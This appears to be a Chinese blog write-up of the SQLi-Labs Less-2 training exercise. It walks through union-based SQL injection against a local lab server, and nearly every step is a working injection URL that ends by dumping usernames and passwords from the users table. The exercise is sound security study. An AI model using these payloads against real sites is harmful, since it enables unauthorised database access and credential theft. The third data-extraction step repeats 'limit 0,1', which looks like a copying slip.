作者:兄弟465748208_279 | 来源:互联网 | 2023-05-19 00:03
使用SQLi-Labs网站的Less-2为入口,利用联合查询(union select)的方式实施SQL注入,获取SQLi-Labs网站的登陆用户名和密码
环境: Windows 10、火狐浏览器、HackBar、SQLi-Labs
- 进入Less-2
2. 使用HackBar
先定一个GET参数
http://192.168.5.145/sql/Less-2/?id=1
页面回显id=1的用户名和密码
3. 判断注入点
(1)http://192.168.5.145/sql/Less-2/?id=1'
运行后报错
(2)http://192.168.5.145/sql/Less-2/?id=1 and 1=1
运行后正常 从这里可以判断该网站存在数字型的漏洞
(3)http://192.168.5.145/sql/Less-2/?id=1 and 1=2
运行后未正常显示
以上步骤可以判断该网站存在数字型注入点
4. 尝试使用order by 获取网站查询的关键字
(1)http://192.168.5.145/sql/Less-2/?id=1 order by 1--+
正常显示 注:--+ 通- -‘ 用于闭合
(2)http://192.168.5.145/sql/Less-2/?id=1 order by 2--+
正常显示
(3) http://192.168.5.145/sql/Less-2/?id=1 order by 3--+
正常显示
(4) http://192.168.5.145/sql/Less-2/?id=1 order by 4--+
报错
到这里可以判断为,网站查询的字段数为3
5. 判断网站的回显位置
http://192.168.5.145/sql/Less-2/?id=1 and 1=2 union select 1,2,3--+
执行的结果: 2和3可以回显
6. 获取网站当前所在数据库的库名
http://192.168.5.145/sql/Less-2/?id=1 and 1=2 union select 1,2,database() --+
执行结果获取到security
7. 获取数据库security的全部表名
http://192.168.5.145/sql/Less-2/?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
显示结果中,有一个名为users 的表,可能会存放网站用户的基本信息
8. 获取users表的全部字段名
http://192.168.5.145/sql/Less-2/?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
显示结果,users表中有id、username和password三个字段
9. 获取users 表id、username和password字段的全部值
(1) 显示第一组数据
http://192.168.5.145/sql/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1--+
(2) 显示第二组数据
http://192.168.5.145/sql/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 1,1--+
(3) 显示第3组数据
http://192.168.5.145/sql/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1--+